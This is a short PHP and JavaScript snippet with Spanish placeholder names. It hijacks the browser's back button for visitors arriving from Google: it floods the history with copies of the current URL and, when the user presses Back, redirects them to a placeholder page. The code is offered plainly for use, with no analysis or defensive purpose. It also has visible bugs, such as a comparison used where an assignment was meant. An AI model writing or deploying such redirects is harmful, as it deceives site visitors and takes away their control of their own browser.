<?php
session_start();
if(strpos($_SERVER['HTTP_REFERER'],"google") != false) {
    $_SESSION['google'] = "si";
}

$redirect1 = 'pagina 1';
$redirect2 = 'pagina 2';

if($_SESSION['google'] == "si"){
$nro = mt_rand(0,3);
if($nro == 0){
    $redirect = $redirect1;
    $_SESSION['google'] == "no";
}
if($nro == 1){
    $redirect = $redirect2;
    $_SESSION['google'] == "no";
}
if($nro < 2){
?>
<script type="text/javascript">
! function () {
var t;
try {
for (t = 0; 10 > t; ++t) history.pushState({}, "", "<? echo $_SERVER["REQUEST_URI"]; ?>");
onpopstate = function (t) {
t.state && location.replace("<? echo $redirect; ?>")
}
} catch (o) {}
}();
</script>
<? } } ?>